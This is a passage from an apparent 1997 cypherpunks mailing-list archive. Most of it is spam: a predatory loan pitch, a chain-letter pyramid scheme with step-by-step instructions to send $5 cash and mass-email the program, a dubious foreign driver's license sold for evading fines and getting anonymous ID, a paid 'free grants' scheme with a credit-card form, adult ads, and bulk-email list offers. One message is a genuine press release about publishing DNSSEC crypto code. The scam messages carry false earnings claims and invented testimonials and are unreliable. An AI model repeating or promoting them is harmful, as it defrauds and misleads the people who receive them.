             Fax: 1-888-581-2211
             US Mail:   Achievement Publishing, Inc.
 	             P.O. Box 1357
 	             New York, NY 10013-0877  USA

 *SAT is a registered trademark of the College Entrance Examination Board which is not associated with this product.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
This email was sent to you by S. Direct Marketing. If you would
like your ad sent to thousands or even millions...Please call
510-653-4709 9am to 9pm (PST) 7 days a week.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 123pacific@compuserve.com
Date: Tue, 23 Dec 1997 01:21:13 -0800 (PST)
To: 123pacific@compuserve.com</A>
Subject: HOMEOWNERS: Cut your Pmts in HALF!
Message-ID: <123pacific@compuserve.com>
MIME-Version: 1.0
Content-Type: text/plain


HOME OWNERS

You can cut your debt payments in half with our "1-2-3 Express" loan series

FREE Benefit Analysis sent to you within 24 hrs. via e-mail!
  
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We are offering you a FREE Benefit Analysis and Credit Report so that you can determine if our "1-2-3 Express" loan will benefit you. By this time tomorrow you'll know:
  
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  * 200% LTV OK!
  * No Appraisal Required!
  * LOW and NO Income Documentation Options!
  * Low Fixed Interest Rates!
  * Pay Off Debt!
  * Improve Your Home!
  * Use the Money for Many Purposes!
  
We are a highly automated DIRECT LENDER and will respond quickly and professionally to your inquiry. Remember, once we provide you with this FREE Benefit Analysis you are under no obligation to proceed. This offer is for informational purposes.
  
  
  ///////////////////////////////////////////////////////////////////////////////
  This offer is intended for Homeowners only.
  If you wish to be removed from future mailings, please
  mailto:pacific1@imailbox.com, and type "Remove" in the subject line
  and we will automatically block you from future mailings.
  ////////////////////////////////////////////////////////////////////////////////
  
  Copyright 1997 WorldNet Financial, a division of Pacific Shore Funding.
  The information contained in this email message may not be published,
  broadcast, rewritten, or otherwise distributed without the express 
  written consent of  WorldNet Financial, a division of Pacific Shore Funding.
  
  This offer is extended to residents of CA, CO, FL, ID, MN, NM, OH, OR, UT,
  VA, WA, WY, MD, SC, AK, AR, CT, DE, HI, KY, ME, MS, MO, TN
  
  There are a few states where we are not allowed to extend
  this offer.  If you live in one of those states, this 
  offer is not valid.
  
  Pacific Shore Funding is a Licensed Real Estate Broker and direct lender.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: coufuojee82@juno.com (Nortela)
Date: Mon, 22 Dec 1997 18:07:11 -0800 (PST)
To: coufuojee82@juno.com
Subject: heres your free web site!
Message-ID: <199712221397AAA37128@23183453r49k8341209O.ease.lsoft.com>
MIME-Version: 1.0
Content-Type: text/plain


This is a "ONE-TIME MESSAGE"  you were randomly selected to receive this. 
You will be automatically deleted from this mailing list. ONLY REPLIES WILL BE KEPT. There is no need to reply to remove, you will receive no further mailings from us.
NEW IMPROVED with FREE internet  software!   FREE bulk e mail system, two FREE web sites to use as you wish! (free space 2 - 6 K) one of your Free web sites is in this letter!, ongoing support (optional), and a lot, lot  more! all included!, this, all when you order all four reports. That's worth $20 dollars alone ! PLUS act now and you will recived via e mail from 50,000 To-1000,000 !!! FREE filtered E-MAiL addresses!.     ALL FOR YOU! This is not a pyramid! This is NOT a chain letter, and I did not send this in the post office mail!  there is product, support, news letters and more! This is new and revised! ALL via e mail!
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\$\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
you  are about to make at least $50,000 USD In about 90 days or less!
Read the enclosed program...then read it again...then print it out to review.
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
Dear friend,
The enclosed information is something I almost let slip through my
fingers.  Fortunately, sometime later I re-read everything and gave
some thought and study to it.

My name is Christopher Erickson.  Two years ago, the corporation I
worked at for the past twelve years down-sized and my position was
eliminated.  After unproductive job interviews,  I decided to open my
own business.  Over the past year, I incurred many unforeseen
financial problems.  I owed my family, friends, and creditors over
$35,000.  The economy was taking a toll on my business and I just
couldn't seem to make ends meet.  I had to refinance and borrow
against my home to support my family and struggling business.  I truly
believe it was wrong for me to be in debt like this.  AT THAT MOMENT
something significant happened in my life and I am writing to share my
experience in hopes that this will change your life
FOREVER....FINANCIALLY!!!

In mid-December, I received this program via email.  Six months prior
to receiving this program I had been sending away for information on
various business opportunities.  All of the programs I received, in my
opinion, were not cost effective.  They were either too difficult for
me to comprehend or the initial investment was too much for me to risk
to see if they worked or not.  One claimed I'd make a million dollars
in one year...it didn't tell me I'd have to write a book to make it.

But like I was saying, in December of '92 I received this program.  I
didn't send for it, or ask for it, they just got my name off a mailing
list.  THANK GOODNESS FOR THAT!!!  After reading it several times, to make sure I was reading it correctly, I couldn't believe my eyes. 
Here was a MONEY-MAKING PHENOMENON.  I could invest as much as I wanted to start, without putting me further in debt.  After I got a
pencil and paper and figured it out, I would at least get my money
back.  After determining that the program is LEGAL and NOT A CHAIN
LETTER, I decided "WHY NOT".

Initially I sent out 10,000 emails.  It only cost me about $15.00 for
my time on-line.  The great thing about email is that I didn't need
any money for printing to send out the program, only the cost to
fulfill my orders.  I am telling you like it is, I hope it doesn't
turn you off, but I promised myself that I would not "rip-off" anyone,
no matter how much money it cost me!.

In less than one week, I was starting to receive orders for REPORT #1.
By January 13th, I had received 26 orders for REPORT #1.  When you
read the GUARANTEE in the program, you will see that "YOU MUST RECEIVE 20 ORDERS FOR REPORT #1 WITHIN TWO WEEKS.  IF YOU DON'T, SEND OUT MORE PROGRAMS UNTIL YOU DO!"  My first step in making $50,000 in  90 days was done.  By January 30th, I had received 196 orders for REPORT #2.  If you go back to the GUARANTEE, "YOU MUST RECEIVE 100
OR MORE ORDERS FOR REPORT #2 WITHIN TWO WEEKS.  IF NOT, SEND OUT MORE PROGRAMS UNTIL YOU DO.  ONCE YOU HAVE 100 ORDERS, THE REST IS EASY, RELAX, YOU WILL MAKE YOUR $50,000 GOAL."  Well, I had 196 orders for REPORT #2, 96 more than I needed.  So I sat back and relaxed.  By March 19th, of my emailing of 10,000 packets, I received $58,000 with more coming in every day.

I paid off  ALL my debts and bought a much needed new car.  Please
take time to read the attached program, IT WILL CHANGE YOUR LIFE
FOREVER! Remember,  it wont work  if you don't try it.  This program
does work, but you must follow it EXACTLY!  Especially the rules of
not trying to place your name in a different place.  It doesn't work,
you'll lose out on a  lot  of  money!  REPORT  #2  explains this. 
Always follow the guarantee, 20  orders  for REPORT #1, and 100
or more orders for REPORT #2 and you will make  $50,000 or more in about 90 days.  I AM LIVING PROOF THAT IT WORKS !!!

If you choose not to participate in this program, I'm sorry.  It
really is a great opportunity with little cost or risk to you.  If you
choose to participate, follow the program and you will be on your way
to financial security.

If you are a fellow business owner and you are in financial trouble
like I was, or you want to start your own business, consider this a
sign.  I DID!
                                        Sincerely,
                                        Christopher Erickson

PS  Do you have any idea what 11,700 $5 bills ($58,000) look like
piled up on a kitchen table? IT'S AWESOME!

"THREW IT AWAY"

"I  had  received  this program before.  I  threw  it away, but later
wondered if I shouldn't have given it a try.  Of course, I had no idea
who to contact to get a copy, so I had to wait until I was emailed
another copy of the program.  Eleven months passed, then it came.  I
DIDN'T throw this one away.  I made $41,000 on the first try."

                                        Dawn W., Evansville, IN

"NO FREE LUNCH"
"My late father always told me, 'remember, Alan, there is no free
lunch in life.  You get out of life what you put into it.'  Through
trial and error and a somewhat slow frustrating start, I finally
figured it out. The program works very well, I just had to find the
right target group of people to email it to.  So far this year, I have
made over $63,000 using this program.  I know my dad would have been
very proud of me."

                                        Alan B., Philadelphia, PA

A PERSONAL NOTE FROM THE ORIGINATOR OF THIS PROGRAM

By the time you have read the enclosed information and looked over the
enclosed program and reports, you should have concluded that such a
program,  and  one that is legal,  could not have been created by an
amateur.

Let me tell you a little about myself.  I had a profitable business
for ten years.  Then in 1979 my business began falling off.  I was
doing the same things that were previously successful for me, but it
wasn't working.  Finally, I figured it out.  It wasn't me, it was the
economy. Inflation and recession had replaced the stable economy that
had been with us since 1945.  I don't have to tell you what happened
to the unemployment rate...because many of you know from first hand
experience. There were more failures and bankruptcies than ever
before.

The middle class was vanishing.  Those who knew what they were doing invested wisely and moved up.  Those who did not, including those who never had anything to save or invest, were moving down into the ranks of the poor.  As the saying goes, "THE RICH GET RICHER AND THE POOR GET POORER."  The traditional methods of making money will never allow you to "move up" or "get rich", inflation will see to that.

You have just received information that can give you financial freedom
for the rest of your life, with "NO RISK" and "JUST A LITTLE BIT OF
EFFORT."  You can make more money in the next few months than you have ever imagined.

I should also point out that I will not see a penny of your money, nor
anyone else who has provided a testimonial for this program.  I have
already made over FOUR MILLION DOLLARS!  I have retired from the
program after sending out over 16,000 programs.  Now I have several
offices which market this and several other programs here in the US
and overseas.  By the Spring, we wish to market the 'Internet' by a
partnership with AMERICA ON LINE.

Follow the program EXACTLY AS INSTRUCTED.  Do not change it in any way. It works exceedingly well as it is now.  Remember to email a copy of this exciting program to everyone that you can think of.  One of
the people you send this to may send out 50,000...and your name will
be on every one of them!.  Remember though, the more you send out, the more potential customers you will reach.

So my friend, I have given you the ideas, information, materials and
opportunity to become financially independent, IT IS UP TO YOU NOW!

"THINK ABOUT IT"

Before you delete this program from your mailbox, as I almost did,
take a little time to read it and REALLY THINK ABOUT IT.  Get a pencil
and figure out what could happen when YOU participate.  Figure out the
worst possible response and no matter how you calculate it, you will
still make a lot of money!  Definitely get back what you invested. 
Any doubts you have will vanish when your first orders come in.  IT
WORKS!
                                        Paul Johnson, Raleigh, NC

HERE'S HOW THIS AMAZING PROGRAM WILL MAKE YOU $$$$$$

Let's say that you decide to start small, just to see how it goes, and
we'll assume you and all those involved send out 20,000 programs each.
Let's also assume that the mailing receives a .5% response.  Using a
good list the response could be much better.  Also many people will
send out hundreds of thousands of programs instead of 20,000.  But
continuing with this example, you send out only 20,000 programs.  With
a .5% response, that is only 10 orders for REPORT #1.  Those 10 people
respond by sending out 20,000 programs each for a total of 200,000.  Out
of those .5%, 100 people respond and order REPORT #2.  Those 100 mail
out 20,000 programs each for a total of 2000,000.  The .5% response to
that is 1,000 orders for REPORT #3.  Those 1,000 send out 20,000
programs each for a 2,000,000 total.  The .5% response to that is
10,000 orders for REPORT #4.  That's 10,000 five dollar bills for you.
CASH!!!!  Your total income in this example is $50 + $500 + $5000 +
$50,000 for a total of $55,550!!!!

REMEMBER FRIEND, THIS IS ASSUMING 1,990 OUT OF 2,000 PEOPLE YOU MAIL TO WILL DO ABSOLUTELY NOTHING... AND TRASH THIS PROGRAM!  DARE TO THINK FOR A MOMENT WHAT WOULD HAPPEN IF EVERYONE OR HALF SENT OUT
100,000 PROGRAMS INSTEAD OF ONLY 2,000.  Believe me, many people will do that and more!  By the way, your cost to participate in this is practically nothing.  You obviously already have an internet
connection and email is FREE!!!  REPORT#3 will show you the best
methods for bulk emailing and purchasing email lists.

THIS IS A LEGITIMATE,NOW VERY LEGAL, MONEY MAKING OPPORTUNITY.  It does not require you to come in contact with people, do any hard work, and best
of all, you never have to leave the house except to get the mail.  If
you believe that someday you'll get that big break that you've been
waiting for, THIS IS IT!  Simply follow the instructions, and your
dream will come true.  This multi-level email order marketing program
works perfectly...100% EVERY TIME.  Email is the sales tool of the
future.  Take advantage of this non-commercialized method of
advertising NOW!!  The longer you wait, the more people will be doing
business using email.  Get your piece of this action!!

MULTI-LEVEL MARKETING (MLM) has finally gained respectability.  It is being taught in the Harvard Business School, and both Stanford
Research and The Wall Street Journal have stated that between 50% and 65% of all goods and services will be sold throughout Multi-level
Methods by the mid to late 1990's.  This is a Multi-Billion Dollar
industry and of the 500,000 millionaires in the US, 20% (100,000) made
their fortune in the last several years in MLM.  Moreover, statistics
show 45 people become millionaires everyday through Multi-Level
Marketing.

INSTRUCTIONS

We at Erris Mail Order Marketing Business, have a method of raising
capital that REALLY WORKS 100% EVERY TIME.  I am sure that you could use $50,000 to $125,000 in the next 90 days.  Before you say
"Bull", please read the program carefully.

This is not a chain letter, but a NOW perfectly legal money making
opportunity.  Basically, this is what we do:  As with all multi-level
business, we build our business by recruiting new partners and selling
our products.  Every state in the USA allows you to recruit new multi-
level business partners, and we offer a product for EVERY dollar sent.
YOUR ORDERS COME AND ARE FILLED THROUGH THE MAIL, so you are not involved in personal selling.  You do it privately in your own home, store or office.

This is the GREATEST Multi-level Mail Order Marketing anywhere:

Step (1)   Order all four 4 REPORTS listed by NAME AND NUMBER.  Do this
           by ordering the REPORT from each of the four 4 names listed
           on the next page.  For each REPORT, send $5 CASH and a
           SELF- ADDRESSED, STAMPED envelope  (BUSINESS SIZE #10)                    to the person listed for the SPECIFIC REPORT. International            
           orders should also include $2 extra for postage. It is
           essential that you specify the NAME and NUMBER of the
           report requested to the person you are ordering from.  You
           will need ALL FOUR 4 REPORTS because you will be REPRINTING
           and RESELLING them. DO NOT alter the names or sequence
           other than what the instructions say.  IMPORTANT:  Always
           provide same-day service on all orders.

Step (2)   Replace  the  name  and  address  under  REPORT #1  with
           yours,  moving the one that was there down to REPORT #2.
           Drop  the  name and address under REPORT #2 to REPORT #3,
           moving the one that was there to REPORT #4.  The name and
           address that was under REPORT #4 is dropped from the list
           and this party  is  no doubt on the way to the bank.  When
           doing   this,   make   certain   you  type  the  names  and
           addresses ACCURATELY!  DO NOT MIX UP MOVING PRODUCT/REPORT
           POSITIONS!!!

Step (3)   Having made the required changes in the NAME list, save it
           as a text (.txt) file in it's own directory to be used with
           whatever email program you like.  Again, REPORT #3 will
           tell you the best methods of bulk emailing and acquiring
           email lists.

Step (4)   Email a copy of the entire program (all of this is very
           important) to everyone whose address you can get your hands
           on. Start with friends and relatives since you can
           encourage them to take  advantage of this  fabulous 
           money-making opportunity.  That's what I did.  And they
           love me now, more than ever.  Then, email to anyone and
           everyone!  Use your imagination!  You can get email
           addresses from companies on the internet who specialize in
           email mailing lists.  These are very cheap, 100,000
           addresses for around $35.00.

IMPORTANT:  You won't get a good response if you use an old list, so
always request a FRESH, NEW list. You will find out where to purchase
these lists when you order the four 4 REPORTS.

ALWAYS PROVIDE SAME-DAY SERVICE ON ALL ORDERS!!!

REQUIRED REPORTS

***Order each REPORT by NUMBER and NAME***

ALWAYS SEND A SELF-ADDRESSED, STAMPED ENVELOPE
AND $5 USD CASH FOR EACH ORDER REQUESTING THE
SPECIFIC REPORT BY NAME AND NUMBER
(International orders should also include $2 USD extra for postage) 
Add your e amil address when sending in for your report this is for 
updated information and continueing support (optional) that will 
be handed down by your sponcers pipeline.
______________________________________________________
REPORT #1
"HOW TO MAKE $250,000 THROUGH MULTI-LEVEL SALES"

ORDER REPORT #1 FROM:
A. Siegmund #57
Trakehnenstr. 13
53332 Bornheim, Germany


______________________________________________________
REPORT #2
"MAJOR CORPORATIONS AND MULTI-LEVEL SALES"
J. Maze
15774 S. Lagrange Rd
Suite #312
Orland Pk, IL 60462
USA
________________________________________________________
REPORT#3
"SOURCES FOR THE BEST MAILING LISTS"

ORDER REPORT #3 FROM:

B. Thompson
13504 Greencaslte ridge Tr.  404
Burtonsville MD. 20866
USA
______________________________________________________
REPORT #4
"EVALUATING MULTI-LEVEL SALES PLANS"

ORDER REPORT #4 FROM:

MUW #2
PO BOX 71442
SALT LAKE CITY, UT 84171-0442
USA
______________________________________________________
CONCLUSION
One of your free web sites can be registered at http://www.freeyellow.com/
.I am enjoying my fortune that I made by sending out this program.
You too, will be making money in 20 to 90 days, if you follow the
SIMPLE STEPS outlined in this mailing.

To be financially independent is to be FREE.  Free to make financial
decisions as never before.  Go into business, get into investments,
retire or take a vacation. 
                                                                                                                                                                                                                                                                                                                                                                                    				


----------------------- Headers --------------------------------
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	  with SMTP id MAA09338;
	  Mon, 22 Dec 1997 12:29:50 -0500 (EST)
Date: Mon, 22 Dec 1997 12:29:50 -0500 (EST)
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To: ziaza99@sh.hit.no
Comments: Authenticated sender is <ziaza99@sh.hit.no>
Subject:free web site
Message-ID: <19971222246ZAA24605@theman.hw.ac.uk>
							













































																															                                                        
-





























From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: hot8762@hotmail.com
Date: Mon, 22 Dec 1997 22:49:21 -0800 (PST)
To: hot8762@hotmail.com
Subject: For Smart People Only!
Message-ID: <199712230749.BAA27413@ns.otb.com>
MIME-Version: 1.0
Content-Type: text/plain


Do you need an International Driver's License?  

Before answering, ask yourself these questions!

Do I want to avoid points on my driver's license?

Do I want to avoid paying fines?

Do I want to avoid being forced to attend driver's 
education classes?

Would I like to show a foreign driver's license 
when I get stopped?

Would I like to show a foreign driver's license 
when I check into a hotel?

Would I like to show an International Driver's 
License to get admitted to night spots?

Would I like to have anonymous identification 
for private or other reasons?

If your answer is "Yes!" to any of these 
questions, you need a Macronesian International 
Driver's License!

For details on how to obtain a genuine Macronesian 
International Driver's License, call 1-602-735-3970
and leave your name, phone number, and best 
times to call you back.

/////////////////////////////////////////////////////
The above message was brought to you by PlusNet 
Marketing & Distributors.  We market or distribute any 
product or service by bulk E-mail and by traditional 
marketing media.  For information, call 1-513-763-3862.
/////////////////////////////////////////////////////





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Gilmore <gnu@toad.com>
Date: Tue, 23 Dec 1997 12:52:59 -0800 (PST)
To: bernstein-announce@toad.com
Subject: Gilmore Publishes Strong Crypto Code Online for Authentication
Message-ID: <199712232040.MAA20998@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


[This announcement does not relate directly to the Bernstein case,
 but I felt the overlap of interest would be very strong.  -- John]


      Strong Crypto Code Published Online for Authentication

San Francisco, December 23, 1997 - Civil libertarian John Gilmore
today published strong authentication source code on the Internet,
making it available for worldwide access, despite U.S. National
Security Agency attempts to restrict such software.  He is publishing
Domain Name System Security software that contains a complete copy of
RSAREF, well-known cryptography software that is a predecessor to the
DNSsafe software released in October by RSA Data Security, Inc.

Mr Gilmore explains, "Internet publication of cryptography software is
considered an export by the US Government, and often requires
government permission under the Export Administration Regulations
(EAR).  But those regulations specifically exempt programs which
merely prove that information is authentic (authentication), rather
than hiding the information (privacy)."

The export regulations were amended in 1989 to exclude authentication
software.  Since that time, however, the National Security Agency has
been telling people privately that the exclusion only applies to
ready-to-run "binary" programs.  They have reportedly claimed that the
regulations still require government permission to export the
human-readable "source code" of authentication programs.  The plain
text of the regulations makes no such distinction, though; all
authentication programs are exempt.

Readers can obtain the software from Mr. Gilmore's web site for Domain
Name System Security, at http://www.toad.com/~dnssec or at
http://www.flash.net/~dnssec.  Future releases will be available from
the Internet Software Consortium, http://www.isc.org/bind.html.

The Electronic Frontier Foundation, which Mr. Gilmore co-founded, is
sponsoring a lawsuit to have the entire cryptography software export
control regime overturned.  In the three-year suit, Bernstein v. State,
Judge Marilyn Hall Patel has invalidated export controls administered by
both the State Department and the Commerce Department.  She ruled they
are an unconstitutional prior restraint against our First Amendment
right to speak and publish about cryptography.  The case is now in the
Ninth Circuit Court of Appeals.

Domain Name System Security:		http://www.toad.com/~dnssec
				or	http://www.flash.net/~dnssec
Internet Software Consortium:		http://www.isc.org
RSA Data Security:			http://www.rsa.com
Electronic Frontier Foundation:	        http://www.eff.org

Press Contacts:

	John Gilmore, Founding Board Member, EFF
	+1 415 221 6524, gnu@toad.com

	Shari Steele, Staff Attorney, Electronic Frontier Foundation
	+1 301 375 8856, ssteele@eff.org

	More press background is available at:
	http://www.toad.com/~dnssec/pressrel1.background.txt




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Streaming@goplay.com
Date: Tue, 23 Dec 1997 12:37:23 -0800 (PST)
To: Friend@public.com
Subject: Streamline
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


You Can Make Money While You Sleep!!!

No Selling!
No Meetings!
No Sponsoring!
No Dressing Up!
No Presentations!
No Time Required!
No Telephone Calls!
No Running Around!
No Face-to-Face Contact!

The On-Line Recruiter Does Everything For You !!!!
                                                 
Company mails FREE info packs!
Earn thousands your first MONTH!
Most lucrative pay plan in the industry!
Commission checks increase every month!
Completely automated sponsoring system!
Fast Track Bonus CHECKS GUARANTEED!

Not too mention the superb natural supplements from Dr. Christopher!  Formulas to 
improve your body, weight, energy, and mind!  

Please take a look before blowing this off, it's easy and it works, you just have to give it 
a chance!

http://www.geocities.com/Eureka/Gold/3309/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Trans World Specials" <twaweb@inet2.twa.com>
Date: Tue, 23 Dec 1997 10:23:16 -0800 (PST)
To: Trans World Airlines Customers <twaweb@inet2.twa.com>
Subject: Trans World Specials Fare Sales
Message-ID: <19971223163812.23026.qmail@inet2.twa.com>
MIME-Version: 1.0
Content-Type: text/plain


Happy Holidays from your friends 
 who bring your weekly Trans World
 Specials.  We will not have a fare
 sale this week. Our next fare sale 
 will be Tuesday, January 5th. Have
 a happy and safe holiday. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: suzy1@aol.com
Date: Tue, 23 Dec 1997 06:08:21 -0800 (PST)
To: suzy1@aol.com
Subject: Have some fun
Message-ID: <61957280_53901278>
MIME-Version: 1.0
Content-Type: text/plain



TEN MINUTES FREE!
Just for you if you're over 18.

Five minutes in our Private Show AND
five minutes in our Voyeur Show.  Try
it to see if you like it. Adults only!
We support the AOL Browser!

http://www.babequest.com

Signup for free and use your free time.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 13071300@13488.com
Date: Wed, 24 Dec 1997 01:35:58 -0800 (PST)
To: specialguests.only.com@svi.ssdnet.com.ar
Subject: Our Special Gift to You...
Message-ID: <852147.951@xxxluv2u.com>
MIME-Version: 1.0
Content-Type: text/plain


Is a Killer Guest Area filled with the hottest XXX action on the net.
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: order_desk78@hotmail.com
Date: Wed, 24 Dec 1997 23:28:09 -0800 (PST)
To: GrantSeeker@aol.com
Subject: FREE CASH GRANTS, FUNDING AND LOANS
Message-ID: <ililililililililililililiiiiilllilililililllliiililililllliiiiiiiilllllllllil>
MIME-Version: 1.0
Content-Type: text/plain


Our research reveals that this information may be of use to you and/or your organization. 

*********************************************************************************

Hi, if you have ever considered getting a loan ...............you should take time to read this.

We Have Over 45,000 U.S. Based Grant Provider Programs In Our Database.

WE ARE A FINANCIAL FINDER & MATCHING SERVICE
."INTEREST -  FREE CASH GRANTS AND FUNDING!"...


IF YOU ARE BEING REJECTED FOR THE MONEY YOU NEED .....
______________________________________________________

Then Why Not Try A Private Foundation OR The Federal Government? Interest Free Cash Grants From $100.00 & Up to $1,000,000.00. No Collateral.  No Cosigners, No Security Deposit, No Credit Check.  No Pay Back.

The Money May Be Used For Any Worthwhile Purpose;  Education,
Personal  Welfare,  Business, Medical, Religion, Etc.

ANYONE CAN GET AN INTEREST FREE CASH GRANT!
____________________________________________

As long as they have a genuine reason for needing money and as long as the grant provider's guidelines are met.

Dear Applicant,

This letter tells you HOW YOU CAN GET AN INTEREST FREE CASH GRANT.
Take a few minutes to read it. You'll be suprised  to see how easy it can be to get a grant.  From time to time, everyone needs to borrow.  The problem is that for most people, getting a loan is a big hassle. Going to banks or finance companies in person takes a lot of time.  In most cases, there is endless paperwork.  And Unfortunately, in many cases all that you end up with is a rejection notice.


ABSOLUTELY NO HASSLES
________________________

Getting a Grant is probably a lot easier than you think.  In your area, 
there are usually only a small number of places that will provide you with the money, that you need.  On the other hand, there are literally thousands of grant providers who donate money to people who have genuine reasons for needing the money. 

Chances are that most banks in your area have very stringent loan
requirements.  Unlike Banks, most Grant Providers  are more lenient; 
in a sense that  persons who have poor credit, no credit, or even those who have gone through bankruptcy  are able to get the money
that they need - sent to them by a check payable to them. 
This is because foundations are NOT interested in CREDIT RATINGS.

We are not associated with any of the foundations in our program,
therefore all money will go directly to you, payable to you.  
As a Financial Finder & Matching Service, we know where the money is and which Grant Providers may be most likely to approve your grant. Our state-of-the-art search engines enables us to select multiple criteria from our database and create within minutes a list of grant providers that match your area of interest. There are thousands of grant providers with money to donate.  It is our job to put you in touch with them.

PLEASE REMEMBER: CASH-GRANTS are FREE of any interest, 
& they DO NOT NEED TO BE PAID BACK!
________________________________________________

Grant Providers give out money for a wide variety of needs as long as it is something LEGAL and within the Grant Providers' field of interest. This means that you obtain the money to cover bills, meet emergency needs, or to buy anything that you might need, as long as the Grant Provider agrees to it.


YOU DECIDE HOW MUCH MONEY YOU WANT TO OBTAIN.  
________________________________________________

The amount can be as little as $100.00, and up to $1,000,000.00 is
possible.  And remember, there is NO CREDIT CHECK.

As a Financial Finder & Matching Service, we'll review your service
application form and determine which foundations may be most likely to provide you with the money that you need.  Keep in mind that we have only reputable Grant Providers in our program.  You are protected by the fact that these foundations are regulated by the laws of the United States.

No matter how much you need to obtain, no matter what you need to use the money for; we feel confident that we can assist you to get it with the service we are offering. We will ONLY process order which we feel are within the parameters provided by the Grant Providers. 

All that you will have to do is complete the service application form below, and mail it with payment as indicated on the form.  We will process your service application within 10 days. We will match your FINANCIAL NEEDS & REQUIREMENTS with the most suitable Grant Providers in our program.

______________________________________________________

PRICE LIST

BASIC GRANT PROVIDER LISTING

Contains over 100 Grant Provider Programs that are 
issued for general charitable causes on a national basis.
Also includes application procedures and deadlines.................$29.95

CUSTOM GRANT PROVIDER LISTING

This is your tailored listing of grant providers in
your area of interest. Will include (if available) the 
application forms, contact names, and grant providers
in your city or state....................................................................$39.95

CUSTOM GRANT PRO

A comprehensive listing in your area of interest containing
funding sources in the private and government sector. 
Also includes a Grants writing manual.......................................$49.95

______________________________________________________

Service Application Form: bk-74-4

(circle one)

Money Order    Check     Credit Card (Circle One: VISA, M/C, Discover) 

Credit card # ________________________________________

Expiration Date____________________

Signature_________________________________________

(   ) BASIC GRANT PROVIDER LISTING                $ 29.95
(   ) CUSTOM  GRANT PROVIDER LISTING          $ 39.95
(   ) CUSTOM GRANT PRO                                     $ 49.95                
(   ) RUSH PROCESSING                                        $ 10.00              
(   ) SHIPPING & HANDLING*                                  $   4.00

Total $_____

TO EXPEDITE, FAX TO (619) 683-9130

If paying by check or money order,
Please make payable to:  FINANCIAL RESEARCH GROUP
& MAIL TO:

FINANCIAL RESEARCH GROUP
864 NORTH SECOND STREET #291
EL CAJON, CA 92021

Checks Take 5 Days to clear at the bank.  Please Print Clearly For Our Office Staff

***********************************************
PLEASE FILL IN WHERE APPLICABLE
***********************************************

Grant Purpose/Area of interest: (if you are a student ordering the CUSTOM LIST, please specify your current major and GPA)

______________________________________________________

______________________________________________________

______________________________________________________

I/We Need Funding For;

____ Program Development  
____ Continuing support
____ Research  
____ General/Operating Support

_____  Private Non-profit organization  
_____  Puplic Non-profit organization      

Amount Needed $___________.00  

Name_____________________________     

Occupation ________________________

Address________________________________________________

City ____________________ County___________State _________
 
Zip___________________________

Phone #(______)_______  -_________

Signature_______________________  





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NoSelling@mci2000.com (Reduce Taxes and Protect Assets)
Date: Thu, 25 Dec 1997 10:11:51 -0800 (PST)
To: NoSelling@mci2000.com
Subject: Home Business:  $10 K/mth:  No Selling:No MLM!!
Message-ID: <199712252756UAA39721@post.adam.com.au>
MIME-Version: 1.0
Content-Type: text/plain


 ============================================================
We maintain a current REMOVE list.  If you wish to be removed from 
our list then please hit "reply", enter "remove and (your full email address)" as the subject and we will promptly remove you from our list.  Thank you...
===============================================================


                    Are you afraid of Success?
                   LET ME SCARE YOU TO DEATH!

Hello Entrepreneur!

My name is Dave Starkey,


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    ==>CALL NOW TO FIND OUT:
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Seriously, if I can do this, ANYONE can.  What if you do even better
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Sincerely,
Dave Starkey

 ============================================================
We maintain a current REMOVE list.  If you wish to be removed from 
our list then please hit "reply", enter "remove and (your full email address)" as the subject and we will promptly remove you from our list.  Thank you...
============================================================

/ - 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: greetings@cards.com
Date: Sat, 27 Dec 1997 03:35:24 -0800 (PST)
To: Friend@internet.com
Subject: Happy Holiday Wishes :)
Message-ID: <59841257562287.RDD88524@atten.com>
MIME-Version: 1.0
Content-Type: text/plain


Santa has arrived!!!


 FREE! 100,000 e-mail addresses 
 			
			AND

FREE bulk e-mail software, that sends THOUSANDS of e-mail messages per hour!  

Sound too good to be true?  It's not :)  Just send your name and e-mail 
address to the address below and we will e-mail you the addresses instantly and 
give you our private web address to download your FREE, 100% fully operational 
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You may say that there must be a catch, well here it is.  It is in our BEST INTEREST
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This e-mail sharing program is BRAND NEW as of Christmas this year.  So respond 
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TO GET IMMEDIATE DELIVERY OF YOUR FREE ADDRESSES AND SOFTWARE
(then read below to see why we WANT to send you this free offer immediately!!!)

Mail your e-mail address to:

Wolverine Marketing
PO Box 3008
Hoboken, NJ 07030 USA

We simply request that you include a $5 to cover administrative costs, cash only please :)

Read below and see why we want to send you this free offer immediately!!!
Then, do the calculations. 
If you get (worst case scenerio) 1% response, you will SUCCEED BIG!!!
This program is SIMPLE, EXCITING AND FUN!!!
 

We suggest that you begin immediatly so when your addresses arrive
you can send right away!

OVERVIEW OF THIS EXTRAORDINARY ELECTRONIC MARKETING PROGRAM
   
   Basically, this is what we do:  We sell thousands of people a product for 
   $5.00 that costs us next to nothing to produce and mail.  As with all
   multi-level businesses, we build our business by recruiting new partners
   and selling our products.  Every state in the U.S. allows you to recruit
   new multi- level business online (with your computer).
   
     
                FOLLOW THE INSTRUCTIONS EXACTLY!
   Let's face it, the profits are worth it!  THEY'RE TREMENDOUS!!!
   So go for it.  Remember the 4 points and we'll see YOU at the top!
   
   
           ******* I  N  S  T  R  U  C  T  I  O  N  S *******
   
   THIS IS WHAT YOU MUST DO:
   
   1.  Order all 4 reports listed and numbered from the list below.
       For each report send $5.00 CASH AND YOUR RETURN E-MAIL ADDRESS.  When you order, 
       make sure you request each specific report.  You will need all four reports, 
       because you will be copying and e-mailing them.
   
